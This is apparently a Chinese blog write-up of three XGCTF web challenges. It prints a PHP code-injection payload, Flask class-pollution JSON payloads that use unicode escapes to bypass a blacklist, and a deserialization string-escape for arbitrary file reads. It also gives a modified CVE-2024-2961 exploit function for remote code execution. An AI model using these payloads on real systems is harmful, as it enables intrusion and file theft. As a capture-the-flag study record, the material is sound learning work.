XGCTF web部分wp

web部分wp

CodeInject

开题就几行代码:

QQ截图20240707143058

没有任何过滤,直接构造进行闭合:

1);system("ls /");//

QQ截图20240707143246

读取flag

QQ截图20240707143333

easy_polluted

下载附件得到源码

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re
def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("flag.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)
    app.run(host='0.0.0.0', port=5000)

先看两个路由,/路由是获得session并且对 Evil 使用了merge方法,不难想到可能是原型链污染。

继续看/admin路由,看到满足条件if username == "adminer" and password == app.secret_key就会得到flag。

所以大概思路就是通过原型链污染app.secret_key的值,然后构造session来满足条件。

payload

{"__init__":{"__globals__":{"app":{"secret_key":"123"}}}}

通过json格式发送,发现有黑名单,unicode编码进行绕过,

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123"}}}}

然后就是session的构造了,直接post传参

username=adminer&password=123

然后看见返回包返回了个Set-Cookie,访问路由/admin并添加此session。

竟然没有flag,

QQ截图20240706231755

搜索flask原型链污染发现可以通过污染来修改修改相应的语法标识符

{
    "__init__" : {
        "__globals__" : {
            "app" : {
                    "jinja_env" :{
"variable_start_string" : "[#","variable_end_string":"#]"
				}        
            }
        }
    }

同样进行unicode编码

{"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{"\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u005b\u0023","\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"\u0023\u005d"}}}}}

最后污染后再次访问,渲染成功,得到flag

QQ截图20240707151718

Ezzz_php

开题:

<?php 
highlight_file(__FILE__);
error_reporting(0);
function substrstr($data)
{
    $start = mb_strpos($data, "[");
    $end = mb_strpos($data, "]");
    return mb_substr($data, $start + 1, $end - 1 - $start);
}
class read_file{
    public $start;
    public $filename="/etc/passwd";
    public function __construct($start){
        $this->start=$start;
    }
    public function __destruct(){
        if($this->start == "gxngxngxn"){
           echo 'What you are reading is:'.file_get_contents($this->filename);
        }
    }
}
if(isset($_GET['start'])){
    $readfile = new read_file($_GET['start']);
    $read=isset($_GET['read'])?$_GET['read']:"I_want_to_Read_flag";
    if(preg_match("/\[|\]/i", $_GET['read'])){
        die("NONONO!!!");
    }
    $ctf = substrstr($read."[".serialize($readfile)."]");
    unserialize($ctf);
}else{
    echo "Start_Funny_CTF!!!";
}

看到mb_strposmb_substr,猜测可能是利用两个函数解析差异进行字符串逃逸

看到最后关键处是file_get_contents($this->filename);,那么覆盖filename为我们想读的文件即可。

参考黄河流域就知道 %9f 可以增加一个字符,但是这里和那里还有一点区别,这里需要通过控制$start 来控制长度,因为反序列化不能有不可见字符,需要长度刚刚好。

如构造

?start=gnxgnxgnxgnxnx&read=%9f%9f%9f%9f%%9f%9f%%9f%9f%9f%9f%%9f%9f%%9f9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9f%9fO:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:17:"/usr/sbin/nologin";}

现在能任意文件读取了,但是不知道 flag 文件名,试了试伪协议发现没用,放弃了,不会。

赛后 wp 复现,发现竟然是个 cve,

CVE-2024-2961:将phpfilter任意文件读取提升为远程代码执行

exp:https://github.com/ambionics/cnext-exploits/blob/main/cnext-exploit.py

把参考的 pyload 改一下就行,这里直接看 wp 改的

def send(self, path: str) -> Response:  
    """Sends given `path` to the HTTP server. Returns the response.  
    """    payload_file = 'O:9:"read_file":2:{s:5:"start";s:9:"gxngxngxn";s:8:"filename";s:' + str(len(path)) + ':"' + path + '";}'  
    payload = "%9f" * (len(payload_file) + 1) + payload_file.replace("+","%2b")  
    filename_len = "a" * (len(path) + 10)  
    url = self.url+f"?start={filename_len}&read={payload}"  
    return self.session.get(url)

然会下载依赖直接就能命令执行了 (需要 python3.10 及以上而且要 linux 环境)

pip3 install pwntools
pip3 install https://github.com/cfreal/ten/archive/refs/heads/main.zip

参考官方wp:https://docs.qq.com/doc/DRmVUb1lOdmFMYmx1?dver=

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>